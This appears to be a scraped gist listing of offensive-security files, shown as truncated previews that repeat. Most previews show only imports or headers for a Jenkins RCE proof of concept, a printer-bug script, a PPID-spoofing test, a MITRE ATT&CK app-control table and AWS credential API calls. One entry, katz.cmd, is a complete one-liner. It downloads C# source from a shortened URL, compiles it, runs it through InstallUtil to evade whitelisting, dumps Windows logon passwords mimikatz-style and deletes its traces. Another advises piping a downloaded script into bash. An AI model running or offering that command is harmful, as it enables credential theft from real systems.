burnnotice

## katz.cs
using System;
using System.IO;
using System.Text;
using System.IO.Compression;
using System.EnterpriseServices;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Security.Cryptography;


## katz.cmd
powershell -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('https://is.gd/Dopn98','katz.cs'); && cd c:\Windows\Microsoft.NET\Framework64\v4.* && csc.exe /unsafe /reference:System.IO.Compression.dll /out:katz.exe katz.cs && InstallUtil.exe /logfile= /LogToConsole=false /U katz.exe && katz.exe log privilege::debug sekurlsa::logonpasswords exit && del katz.*

## SimpleHTTPServerWithUpload.py
#!/usr/bin/env python

"""Simple HTTP Server With Upload.

This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.

"""

## dementor.py
#!/usr/bin/env python

# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
# some code from https://www.exploit-db.com/exploits/2879/

import os
import sys
import argparse
import binascii
import ConfigParser

## CVE-2019-1003000-Jenkins-RCE-POC.py
#!/usr/bin/python

# Author: Adam Jordan
# Date: 2019-02-15
# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


import argparse
import jenkins

## setup_bbty.sh
#!/bin/bash

#
# Execute as wget -O - gist_url | bash
#
# Couldn't add gist url as, it changes after every update i.e. as soon as I save this, it's url will change :p
#
# It's debian based, so for centos and likewise you have to change apt to yum and similarly
#
InstallationStartTime=$(date +%s)

## PPID Spoof & BlockDLLs
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace BlockDllTest
{
    class Program
    {
        static void Main(string[] args)
        {

## MITRE_Attack_WindowsAppControl.csv

          
            ID
            Name
            MitigatedByAppControl
            Notes

            
              T1001
              Data Obfuscation
              Not Applicable
              Relevant sub-techniques addressed below

            
              T1001.001
              Junk Data
              No
              Technique is not necessarily related to the execution of arbitrary code on an endpoint.

            
              T1001.002
              Steganography
              Limited
              If custom attacker code were necessary to perform this technique, it would be prevented.

            
              T1001.003
              Protocol Impersonation
              Limited
              If custom attacker code were necessary to perform this technique, it would be prevented.

            
              T1003
              OS Credential Dumping
              Not Applicable
              Relevant sub-techniques addressed below

            
              T1003.001
              LSASS Memory
              Limited
              Built-in utilities exist to perform this technique. They would have to be explicitly blocked.

            
              T1003.002
              Security Account Manager
              Limited
              Built-in utilities exist to perform this technique. They would have to be explicitly blocked.

            
              T1003.003
              NTDS
              Limited
              Built-in utilities exist to perform this technique. They would have to be explicitly blocked.

            
              T1003.004
              LSA Secrets
              Limited
              Built-in utilities exist to perform this technique.

## AWS API calls that return credentials.md

      
              1 file
            
          
              0 forks
            
          
                0 comments
              
            
              0 stars
            
          
                burnnotice
                / AWS API calls that return credentials.md
            
            
              Created
              February 24, 2021 21:59
                — forked from kmcquade/AWS API calls that return credentials.md
            
              
                AWS API calls that return credentials
              
          
chime:CreateApiKey
codepipeline:PollForJobs
cognito-identity:GetOpenIdToken
cognito-identity:GetOpenIdTokenForDeveloperIdentity
cognito-identity:GetCredentialsForIdentity
connect:GetFederationToken
connect:GetFederationTokens
ecr:GetAuthorizationToken
[gamelift:RequestUploadCredentials](ht


## tmux.conf
#############################################
## DEFAULT GENERAL SETTINGS (tmux show -g) ##
#############################################

set-option -g activity-action other
set-option -g assume-paste-time 1
set-option -g base-index 0
set-option -g bell-action any
set-option -g default-command ""
set-option -g default-shell "/bin/bash"
	using System;
	using System.IO;
	using System.Text;
	using System.IO.Compression;
	using System.EnterpriseServices;
	using System.Collections.Generic;
	using System.Runtime.InteropServices;
	using System.Security.Cryptography;
	#!/usr/bin/env python

	"""Simple HTTP Server With Upload.

	This module builds on BaseHTTPServer by implementing the standard GET
	and HEAD requests in a fairly straightforward manner.

	"""
	#!/usr/bin/env python

	# abuse cases and better implementation from the original discoverer: https://github.com/leechristensen/SpoolSample
	# some code from https://www.exploit-db.com/exploits/2879/

	import os
	import sys
	import argparse
	import binascii
	import ConfigParser
	#!/usr/bin/python

	# Author: Adam Jordan
	# Date: 2019-02-15
	# Repository: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
	# PoC for: SECURITY-1266 / CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)


	import argparse
	import jenkins
	#!/bin/bash

	#
	# Execute as wget -O - gist_url \| bash
	#
	# Couldn't add gist url as, it changes after every update i.e. as soon as I save this, it's url will change :p
	#
	# It's debian based, so for centos and likewise you have to change apt to yum and similarly
	#
	InstallationStartTime=$(date +%s)
	using System;
	using System.Diagnostics;
	using System.Runtime.InteropServices;

	namespace BlockDllTest
	{
	class Program
	{
	static void Main(string[] args)
	{
ID	Name	MitigatedByAppControl	Notes
T1001	Data Obfuscation	Not Applicable	Relevant sub-techniques addressed below
T1001.001	Junk Data	No	Technique is not necessarily related to the execution of arbitrary code on an endpoint.
T1001.002	Steganography	Limited	If custom attacker code were necessary to perform this technique, it would be prevented.
T1001.003	Protocol Impersonation	Limited	If custom attacker code were necessary to perform this technique, it would be prevented.
T1003	OS Credential Dumping	Not Applicable	Relevant sub-techniques addressed below
T1003.001	LSASS Memory	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.002	Security Account Manager	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.003	NTDS	Limited	Built-in utilities exist to perform this technique. They would have to be explicitly blocked.
T1003.004	LSA Secrets	Limited	Built-in utilities exist to perform this technique.
	#############################################
	## DEFAULT GENERAL SETTINGS (tmux show -g) ##
	#############################################

	set-option -g activity-action other
	set-option -g assume-paste-time 1
	set-option -g base-index 0
	set-option -g bell-action any
	set-option -g default-command ""
	set-option -g default-shell "/bin/bash"